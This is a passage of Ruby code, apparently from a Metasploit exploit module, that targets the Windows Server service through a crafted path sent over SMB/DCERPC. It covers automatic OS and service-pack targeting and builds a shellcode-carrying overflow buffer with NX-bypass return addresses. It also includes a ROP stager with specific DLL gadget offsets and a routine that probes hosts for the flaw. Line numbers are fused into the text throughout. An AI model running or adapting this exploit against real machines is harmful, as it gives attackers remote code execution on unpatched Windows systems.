OS1054if (fprint['os'] == 'Unknown')1055fail_with(Failure::NoTarget, 'No matching target')1056end10571058# Windows 2000 is mostly universal1059if (fprint['os'] == 'Windows 2000')1060mytarget = targets[1]1061end10621063# Windows XP SP0/SP1 is mostly universal1064if fprint['os'] == 'Windows XP' and fprint['sp'] == 'Service Pack 0 / 1'1065mytarget = targets[2]1066end10671068# Windows 2003 SP0 is mostly universal1069if fprint['os'] == 'Windows 2003' and fprint['sp'].empty?1070mytarget = targets[3]1071end10721073# Windows 2003 R2 is treated the same as 20031074if (fprint['os'] == 'Windows 2003 R2')1075fprint['os'] = 'Windows 2003'1076end10771078# Service Pack match must be exact1079if (not mytarget) and fprint['sp'].index('+')1080print_error('Could not determine the exact service pack')1081print_error("Auto-targeting failed, use 'show targets' to manually select one")1082disconnect1083return1084end10851086# Language Pack match must be exact or we default to English1087if (not mytarget) and fprint['lang'] == 'Unknown'1088print_status('We could not detect the language pack, defaulting to English')1089fprint['lang'] = 'English'1090end10911092# Normalize the service pack string1093fprint['sp'].gsub!(/Service Pack\s+/, 'SP')10941095unless mytarget1096targets.each do |t|1097# Prefer AlwaysOn NX over NX, and NX over non-NX1098if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(AlwaysOn NX\)/1099mytarget = t1100break1101end1102if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/1103mytarget = t1104break1105end1106end1107end11081109unless mytarget1110fail_with(Failure::NoTarget, 'No matching target')1111end11121113print_status("Selected Target: #{mytarget.name}")1114end11151116#1117# Build the malicious path name1118#11191120padder = [*('A'..'Z')]1121pad = 'A'1122while pad.length < 71123c = padder[rand(padder.length)]1124next if pad.index(c)11251126pad += c1127end11281129prefix = '\\'1130path = ''1131server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase11321133#1134# Windows 2003 SP2 (NX) targets1135#1136if mytarget['RetDec']11371138jumper = Rex::Text.rand_text_alpha(70).upcase1139jumper[0, 4] = [mytarget['RetDec']].pack('V') # one more to Align and make room11401141jumper[4, 4] = [mytarget['RetDec']].pack('V') # 4 more for space1142jumper[8, 4] = [mytarget['RetDec']].pack('V')1143jumper[12, 4] = [mytarget['RetDec']].pack('V')1144jumper[16, 4] = [mytarget['RetDec']].pack('V')11451146jumper[20, 4] = [mytarget['RetPop']].pack('V') # pop to EBP1147jumper[24, 4] = [mytarget['DisableNX']].pack('V')11481149jumper[56, 4] = [mytarget['JmpESP']].pack('V')1150jumper[60, 4] = [mytarget['JmpESP']].pack('V')1151jumper[64, 2] = "\xeb\x02" # our jump1152jumper[68, 2] = "\xeb\x62" # original11531154path =1155Rex::Text.to_unicode('\\') +11561157# This buffer is removed from the front1158Rex::Text.rand_text_alpha(100) +11591160# Shellcode1161payload.encoded +11621163# Relative path to trigger the bug1164Rex::Text.to_unicode('\\..\\..\\') +11651166# Extra padding1167Rex::Text.to_unicode(pad) +11681169# Writable memory location (static)1170[mytarget['Scratch']].pack('V') + # EBP11711172# Return to code which disables NX (or just the return)1173[mytarget['RetDec']].pack('V') +11741175# Padding with embedded jump1176jumper +11771178# NULL termination1179"\x00" * 211801181#1182# Windows XP SP2/SP3 ROP Stager targets1183#1184elsif mytarget['UseROP']11851186rop = generate_rop(mytarget['UseROP'])11871188path =1189Rex::Text.to_unicode('\\') +11901191# This buffer is removed from the front1192Rex::Text.rand_text_alpha(100) +11931194# Shellcode1195payload.encoded +11961197# Relative path to trigger the bug1198Rex::Text.to_unicode('\\..\\..\\') +11991200# Extra padding1201Rex::Text.to_unicode(pad) +12021203# ROP Stager1204rop +12051206# Padding (skipped)1207Rex::Text.rand_text_alpha(2) +12081209# NULL termination1210"\x00" * 212111212#1213# Windows 2000, XP (NX), and 2003 (NO NX) targets1214#1215else12161217jumper = Rex::Text.rand_text_alpha(70).upcase1218jumper[4, 4] = [mytarget.ret].pack('V')1219jumper[50, 8] = make_nops(8)1220jumper[58, 2] = "\xeb\x62"12211222path =1223Rex::Text.to_unicode('\\') +12241225# This buffer is removed from the front1226Rex::Text.rand_text_alpha(100) +12271228# Shellcode1229payload.encoded +12301231# Relative path to trigger the bug1232Rex::Text.to_unicode('\\..\\..\\') +12331234# Extra padding1235Rex::Text.to_unicode(pad) +12361237# Writable memory location (static)1238[mytarget['Scratch']].pack('V') + # EBP12391240# Return to code which disables NX (or just the return)1241[mytarget['DisableNX'] || mytarget.ret].pack('V') +12421243# Padding with embedded jump1244jumper +12451246# NULL termination1247"\x00" * 212481249end12501251handle = dcerpc_handle(1252'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',1253'ncacn_np', ["\\#{datastore['SMBPIPE']}"]1254)12551256dcerpc_bind(handle)12571258stub =1259NDR.uwstring(server) +1260NDR.UnicodeConformantVaryingStringPreBuilt(path) +1261NDR.long(rand(1024)) +1262NDR.wstring(prefix) +1263NDR.long(4097) +1264NDR.long(0)12651266# NOTE: we don't bother waiting for a response here...1267print_status('Attempting to trigger the vulnerability...')1268dcerpc.call(0x1f, stub, false)12691270# Cleanup1271handler1272disconnect1273end12741275def check1276begin1277connect(versions: [1])1278smb_login1279rescue Rex::ConnectionError => e1280vprint_error("Connection failed: #{e.class}: #{e}")1281return Msf::Exploit::CheckCode::Unknown1282rescue Rex::Proto::SMB::Exceptions::LoginError => e1283if e.message =~ /Connection reset/1284vprint_error('Connection reset during login')1285vprint_error('This most likely means a previous exploit attempt caused the service to crash')1286return Msf::Exploit::CheckCode::Unknown1287else1288raise e1289end1290end12911292#1293# Build the malicious path name1294# 5b878ae7 "db @eax;g"1295prefix = '\\'1296path =1297"\x00\\\x00/" * 0x10 +1298Rex::Text.to_unicode('\\') +1299Rex::Text.to_unicode('R7') +1300Rex::Text.to_unicode('\\..\\..\\') +1301Rex::Text.to_unicode('R7') +1302"\x00" * 213031304server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase13051306handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',1307'ncacn_np', ["\\#{datastore['SMBPIPE']}"])13081309begin1310# Samba doesn't have this handle and returns an ErrorCode1311dcerpc_bind(handle)1312rescue Rex::Proto::SMB::Exceptions::ErrorCode => e1313vprint_error("SMB error: #{e.message}")1314return Msf::Exploit::CheckCode::Safe1315end13161317vprint_status('Verifying vulnerable status... (path: 0x%08x)' % path.length)13181319stub =1320NDR.uwstring(server) +1321NDR.UnicodeConformantVaryingStringPreBuilt(path) +1322NDR.long(8) +1323NDR.wstring(prefix) +1324NDR.long(4097) +1325NDR.long(0)13261327resp = dcerpc.call(0x1f, stub)1328error = resp[4, 4].unpack('V')[0]13291330# Cleanup1331simple.client.close1332simple.client.tree_disconnect1333disconnect13341335if (error == 0x0052005c) # \R :)1336return Msf::Exploit::CheckCode::Vulnerable1337else1338vprint_error('System is not vulnerable (status: 0x%08x)' % error) if error1339return Msf::Exploit::CheckCode::Safe1340end1341end13421343def generate_rop(version)1344free_byte = "\x90"1345# free_byte = "\xcc"13461347# create a few small gadgets1348# <free byte>; pop edx; pop ecx; ret1349gadget1 = free_byte + "\x5a\x59\xc3"1350# mov edi, eax; add edi,0xc; push 0x40; pop ecx; rep movsd1351gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte1352# <must complete \x00 two byte opcode>; <free_byte>; jmp $+0x5c1353gadget3 = "\xcc" + free_byte + "\xeb\x5a"13541355# gadget2:1356# get eax into edi1357# adjust edi1358# get 0x7f in ecx1359# copy the data1360# jmp to it1361#1362dws = gadget2.unpack('V*')13631364##1365# Create the ROP stager, pfew.. Props to corelanc0d3r!1366# This was no easy task due to space limitations :-/1367# -jduck1368##1369module_name = 'ACGENRAL.DLL'1370module_base = 0x6f88000013711372rvasets = {}1373# XP SP21374rvasets['5.1.2600.2180'] = {1375# call [imp_HeapCreate] / mov [0x6f8b8024], eax / ret1376'call_HeapCreate' => 0x21064,1377'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e546,1378'pop ecx / ret' => 0x2e546 + 6,1379'mov [eax], ecx / ret' => 0xd182,1380'jmp eax' => 0x19b85,1381'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10976,1382'mov [eax+0x10], ecx / ret' => 0x10976 + 6,1383'add eax, 8 / ret' => 0x29a141384}13851386# XP SP31387rvasets['5.1.2600.5512'] = {1388# call [imp_HeapCreate] / mov [0x6f8b02c], eax / ret1389'call_HeapCreate' => 0x21286,1390'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796,1391'pop ecx / ret' => 0x2e796 + 6,1392'mov [eax], ecx / ret' => 0xd296,1393'jmp eax' => 0x19c6f,1394'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56,1395'mov [eax+0x10], ecx / ret' => 0x10a56 + 6,1396'add eax, 8 / ret' => 0x29c641397}13981399# HeapCreate ROP Stager from ACGENRAL.DLL 5.1.2600.21801400rop = [1401# prime ebp (adjustment distance)14020x00018000,14031404# get some RWX memory via HeapCreate1405'call_HeapCreate',14060x01040110, # flOptions (gets & with 0x40005)14070x01010101,14080x01010101,14091410# adjust the returned pointer1411'add eax, ebp / mov ecx, 0x59ffffa8 / ret',14121413# setup gadget11414'pop ecx / ret',1415gadget1.unpack('V').first,1416'mov [eax], ecx / ret',14171418# execute gadget11419'jmp eax',14201421# setup gadget2 (via gadget1)1422dws[0],1423dws[1],1424'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',14251426# setup part3 of gadget21427'pop ecx / ret',1428dws[2],1429'mov [eax+0x10], ecx / ret',14301431# execute gadget21432'add eax, 8 / ret',1433'jmp eax',14341435# gadget3 gets executed after gadget2 (luckily)1436gadget3.unpack('V').first1437]14381439# convert the meta rop into concrete bytes1440rvas = rvasets[version]14411442rop.map! { |e|1443if e.kind_of? String1444# Meta-replace (RVA)1445fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") unless rvas[e]1446module_base + rvas[e]14471448elsif e == :unused1449# Randomize1450rand_text(4).unpack('V').first14511452else1453# Literal1454e1455end1456}14571458ret = rop.pack('V*')14591460# check badchars?1461# idx = Rex::Text.badchar_index(ret, payload_badchars)14621463ret1464end1465end146614671468